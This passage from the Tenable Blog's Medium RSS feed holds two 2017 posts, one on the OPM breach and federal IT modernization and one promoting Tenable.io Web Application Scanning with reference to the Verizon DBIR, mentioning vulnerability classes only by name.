href="https://medium.com/tenable-blog">Tenable Blog</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The OPM Breach Two Years Later: Why We Need a Marathon]]></title>
            <link>https://medium.com/tenable-blog/the-opm-breach-two-years-later-why-we-need-a-marathon-2efaf6008a35?source=rss----5ef283667565---4</link>
            <guid isPermaLink="false">https://medium.com/p/2efaf6008a35</guid>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[Tenable]]></dc:creator>
            <pubDate>Tue, 06 Jun 2017 13:43:20 GMT</pubDate>
            <atom:updated>2017-06-06T13:43:20.473Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*c_Zr8__3x2OQKgmI." /></figure><p>The White House called for a <a href="http://ift.tt/2jPAa31">30-day sprint</a> in response to the devastating data breach at the Office of Personnel Management (OPM), discovered in April 2015. The immediate goal was to bring agencies’ cybersecurity up to an acceptable level. It directed agencies to implement a number of best practices, including scanning systems for known threats, patching critical vulnerabilities, managing privileged access and using multi-factor authentication. But is a sprint enough?</p><figure><img alt="OPM timeline" src="https://cdn-images-1.medium.com/max/1024/0*kcYxgoPg99kifm7v." /></figure><p>Two years after the breach, which exposed sensitive records and personal information of 21.5 million past, present and potential federal employees, the <a href="http://ift.tt/2g66Ime">OPM Inspector General</a> still found the agency was struggling to meet cybersecurity requirements. OPM is not the only agency facing these challenges. The Government Accountability Office has classified federal cybersecurity as a <a href="http://ift.tt/2kNR9R3">high-risk program</a> for 20 years.</p><p>To address today’s cybersecurity challenges, the government needs a marathon</p><p>A sprint is fine if you need to quickly meet a short-term goal, but that’s not how the government or the world should be thinking about risk or security. To address today’s cybersecurity challenges head on, the government needs a marathon. Without a resilient and comprehensive cybersecurity strategy, agencies will struggle to understand their true level of exposure and to reduce their risk.</p><p><strong>The changing world</strong></p><p>The federal government is frequently criticized for maintaining legacy IT systems. The <a href="http://ift.tt/1sCKmgR">House Oversight Committee</a> last year called agencies’ reliance on outdated and unsupported technology “a ticking time bomb.” Alongside these legacy systems, agencies are adopting new computing assets like cloud, DevOps/containers and the Internet of Things (IoT) that are disrupting the traditional network perimeter to create a dynamic and boundaryless IT environment.</p><p>Alongside legacy systems, agencies are adopting new computing assets</p><p>Operational technologies (OT) like SCADA/ICS are still a major part of the government’s critical infrastructure, and while designed for precision and reliability, were not built with security in mind. The rise of industrial IoT means critical devices such as medical devices, transportation systems and ICS have become internet accessible.</p><p>This convergence of IT and OT is expanding the already complex attack surface, creating additional security risks and safety concerns for chief information security officers (CISOs) who already struggle to gain visibility into their exposure areas.</p><p><strong>Real modernization</strong></p><p>Real modernization requires change in how systems are architected</p><p>Agencies must modernize IT systems if they are to improve their cybersecurity. But modernization requires more than merely updating or replacing legacy systems with new products and services. Real modernization requires change in how systems are architected. The systems must provide administrators with the visibility to fully monitor all assets — whether on-premises or in the cloud — in as close to real time as possible. Administrators must be able to manage them and to respond quickly to vulnerabilities, threats and attacks. This requires interoperability and the use of automation where possible, so that administrators and security personnel can apply their human intelligence where it is most needed.</p><p>Modernization will be a big job for agencies. The GAO reported to the House Oversight Committee last year that agencies spent more than 75 percent of their fiscal 2015 IT budgets on legacy equipment. Some systems still are using COBOL (the Common Business Oriented Language) for computers developed in the late 1950s and early 1960s.</p><p>Replacing these antiquated systems would be a step forward in improving cybersecurity. But completing the task of modernization will require a long-term commitment to change and will be realized only if it is prioritized by agencies, legislators and the administration. Initiatives such as President Trump’s recent <a href="http://ift.tt/2q9uGkV">Executive Order on cybersecurity</a> can help point the way to needed changes and strategic planning. The <a href="http://ift.tt/2sznsYm">Modernizing Government Technology</a> bill that has been introduced in Congress would help by establishing a capital fund to help agencies finance new technology. This could jumpstart the modernization process and make it easier for agencies to make long-term plans and to respond quickly to evolving threats and technology.</p><p>Ultimately, each agency must establish and pursue its own strategic plans focusing on the long-term goal of manageable and secure information systems. Only then can the government be fully prepared to regain control of their networks and confidently manage cyber risk in today’s modern IT landscape.</p><p><strong>More information</strong></p><p>For more data about the OPM situation, visit the Tenable <a href="http://ift.tt/2s0hHWQ">OPM web page</a> and download the free whitepaper.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1/0*vJtKzB7dAUQbBe1Y." /></figure><p><em>Originally published on </em><a href="http://ift.tt/2sNHYUr"><em>www.tenable.com</em></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2efaf6008a35" width="1" height="1" alt=""><hr><p><a href="https://medium.com/tenable-blog/the-opm-breach-two-years-later-why-we-need-a-marathon-2efaf6008a35">The OPM Breach Two Years Later: Why We Need a Marathon</a> was originally published in <a href="https://medium.com/tenable-blog">Tenable Blog</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Web Applications Under Attack: Tenable.io and the 2017 Verizon DBIR]]></title>
            <link>https://medium.com/tenable-blog/web-applications-under-attack-tenable-io-and-the-2017-verizon-dbir-5dbcdbd3d4bd?source=rss----5ef283667565---4</link>
            <guid isPermaLink="false">https://medium.com/p/5dbcdbd3d4bd</guid>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[Tenable]]></dc:creator>
            <pubDate>Mon, 05 Jun 2017 13:28:34 GMT</pubDate>
            <atom:updated>2017-06-05T13:28:33.810Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*h8nkWNlCVZgTQDZ4." /></figure><p>According to the <a href="http://ift.tt/2oz6sTS">2017 Verizon Data Breach Investigations Report</a> (DBIR), web applications are under attack even more so than last year (page 57), especially in the financial sector. Primary targets are personal data and credentials: in over half of the reported non-botnet breaches resulting from web application attacks, personal data was compromised. Use of stolen credentials is the top method of hacking web applications, but SQL injection (SQLi) continues to be a dangerous vector (page 58). With enterprises moving more software services to the web, safeguarding the sensitive data handled by web applications is critically important.</p><p>Use of stolen credentials is the top method of hacking web applications</p><p>Tenable.io™ now incorporates Web Application Scanning (WAS) to help you discover web application vulnerabilities and better protect your data. Tenable.io WAS is a new solution from Tenable that offers significant improvements over the existing web application tests provided by the Nessus® scanner. Tenable.io WAS is compatible with modern web applications that make heavy use of JavaScript and are built on HTML5 and AJAX, enabling you to have a more complete picture of the state of your web application security posture. Tenable.io WAS offers safe external scanning that ensures production web applications are not disrupted or delayed. The results from a Tenable.io WAS scan highlight potential web application problems, offer solution advice, and provide links for more information, including links to the Open Web Application Security Project (OWASP) and the Common Weakness Enumeration (CWE) list of common software security weaknesses.</p><p>Tenable.io Web Application Scanning offers significant improvements over the existing Nessus web application tests</p><figure><img alt="Tenable.io Web Application Scanning (WAS)" src="https://cdn-images-1.medium.com/max/1024/0*Mqo3s5Kay4dirsTy." /></figure><h4>Stolen information</h4><p>Attackers can leverage stolen credentials to install software, steal information, and do other nefarious things on your network. While phishing attacks are the most common way for attackers to obtain credentials, attackers can also obtain credentials and other sensitive information from vulnerable web applications. The DBIR recommends limiting the amount of personal information and credentials stored on web applications and in backend databases (page 58, <em>Areas of focus</em>). This recommendation corresponds to security weaknesses A6 (Sensitive Data Exposure) and A5 (Security Misconfiguration) in the OWASP Top Ten, and also to various CWEs, including CWE-200 (Information Exposure).</p><p>Tenable.io WAS can help you find where sensitive data might be exposed by a web application. While some of the exposed data may not seem particularly sensitive, attackers may be able to make use of the data in subsequent attacks, such as using the information to make phishing attacks seem more genuine. The following is a partial list of the plugins whose results indicate exposed data. You should investigate the results from these and related plugins to determine if any sensitive data is being put at risk, and to take appropriate action.</p><ul><li><strong>Common Directory</strong> (plugin 98072)</li><li><strong>Private IP Address Disclosure</strong> (plugin 98077)</li><li><strong>Email Address Disclosure</strong> (plugin 98078)</li></ul><p>Several plugins also highlight website weaknesses that have the potential to expose sensitive data. For example, <strong>Missing ‘X-Frame-Options’ header</strong> (plugin 98060) detects when the website is at risk for clickjacking, which tricks users into clicking on something different than what they think they’re clicking on, and potentially revealing confidential information. <strong>Unencrypted password form</strong> (plugin 98082) detects when credentials information is not being transmitted securely, potentially revealing the information to anyone sniffing the network traffic.</p><h4>SQL injection</h4><p>The DBIR notes (pages 57 and 58) that SQLi is still around, and recommends performing web application scanning and testing to find potential input validation weaknesses. SQLi can be used to dump confidential information from backend databases, and even to modify or delete information within a database. The DBIR recommendation corresponds to the OWASP Top Ten security weakness A1 (Injection) and to CWE-89 (SQL Injection).</p><p>Tenable.io WAS has several plugins in the injection plugin family that can help you discover SQLi weaknesses in an application, including:</p><ul><li><strong>SQL Injection</strong> (plugin 98115)</li><li><strong>NoSQL Injection</strong> (plugin 98116)</li><li><strong>Blind SQL Injection (timing attack)</strong> (plugin 98118)</li></ul><p>The plugin output contains the requests and responses sent to the web application verifying that one or more web pages were vulnerable to SQLi. The solution to SQLi is as it has always been: implementing parameterized queries, aka prepared statements. If you are using third party web applications that are vulnerable to SQLi, upgrade them as soon as possible.</p><h4>Web application vulnerabilities</h4><p>This leads to another DBIR recommendation (page 58): consistent patching of content management systems such as WordPress and Drupal, and all their related plugins. This recommendation corresponds to the OWASP Top Ten security weakness A9 (Using Components with Known Vulnerabilities). As with any vulnerabilities, web application and web server vulnerabilities could be — and very likely will be — exploited by attackers to wreak havoc on your network.</p><p>Web server vulnerabilities such as outdated versions of Apache or IBM WebSphere can be discovered by doing Nessus scans of your web servers. Monitoring these boxes with the <a href="http://ift.tt/2rswRTg">Nessus Network Monitor</a> (formerly PVS™) may also reveal vulnerabilities. Some of these detected vulnerabilities may indicate vulnerabilities in web applications, such as detections of vulnerable versions.</p><p>Web application and web server vulnerabilities can also be detected by Tenable.io WAS. Various plugins detect misconfigurations and potential vulnerability to attacks such as Cross-Site Scripting (XSS), Cross-Site Request Forgery (CSRF) and code execution. In addition, <strong>Backdoor Detection</strong> (plugin 98097) identifies URLs that contain potential backdoor scripts.</p><p>Informational plugins in Tenable.io WAS gather additional information about web applications that may be helpful. For example, <strong>Scan Information</strong> (plugin 98000) presents summary information about the scan, such as scan duration, number of requests, and protocols and authentication detected. <strong>Web Application Sitemap</strong> (plugin 98009) provides a hierarchy of all URLs discovered during the scan, along with the response code and other information for each. <strong>Interesting response</strong> (plugin 98050) notes when a response status code other than 200 (OK) or 404 (Not Found) is returned, which may provide useful insights into the behavior of the web application.</p><p>Tenable.io WAS helps you find and fix the top web application attacks noted in the 2017 DBIR</p><p>Tenable.io WAS is an important addition to the arsenal of Tenable tools to protect your network. Tenable.io WAS helps you find and fix the top web application attacks noted in the 2017 DBIR, enabling you to better secure your web-facing assets, your data and your overall network.</p><h4>For more information</h4><p>Tenable.io</p><ul><li>Visit the <a href="http://ift.tt/2kN7vgF">Tenable.io area</a> of our website</li><li>Start a free <a href="http://ift.tt/2rsP179">Tenable.io Vulnerability Management trial</a></li><li>Learn about the <a href="http://ift.tt/2qXiR00">Tenable.io Web Application Scanning</a> app</li></ul><p>2017 Verizon DBIR</p><ul><li><a href="http://ift.tt/2qaHzuC">Money, Hackers and Spies: Quick Bytes from Verizon’s 2017 DBIR Report</a></li><li><a href="http://ift.tt/2pCW61S">Back to Basics with the 2017 Verizon DBIR</a></li><li><a href="http://ift.tt/2rKbSsc">Patch or Risk Being Breached: Tenable.io and the Verizon 2017 DBIR</a></li><li><a href="http://ift.tt/2rAkmWM">Blocking and Tackling Unauthorized Access: Tenable.io and the 2017 Verizon DBIR</a></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1/0*ulRnyVy8KPs5B6BO." /></figure><p><em>Originally published on </em><a href="http://ift.tt/2qXvCId"><em>www.tenable.com</em></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5dbcdbd3d4bd" width="1" height="1" alt=""><hr><p><a href="https://medium.com/tenable-blog/web-applications-under-attack-tenable-io-and-the-2017-verizon-dbir-5dbcdbd3d4bd">Web Applications Under Attack: Tenable.io and the 2017 Verizon DBIR</a> was originally published in <a href="https://medium.com/tenable-blog">Tenable Blog</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>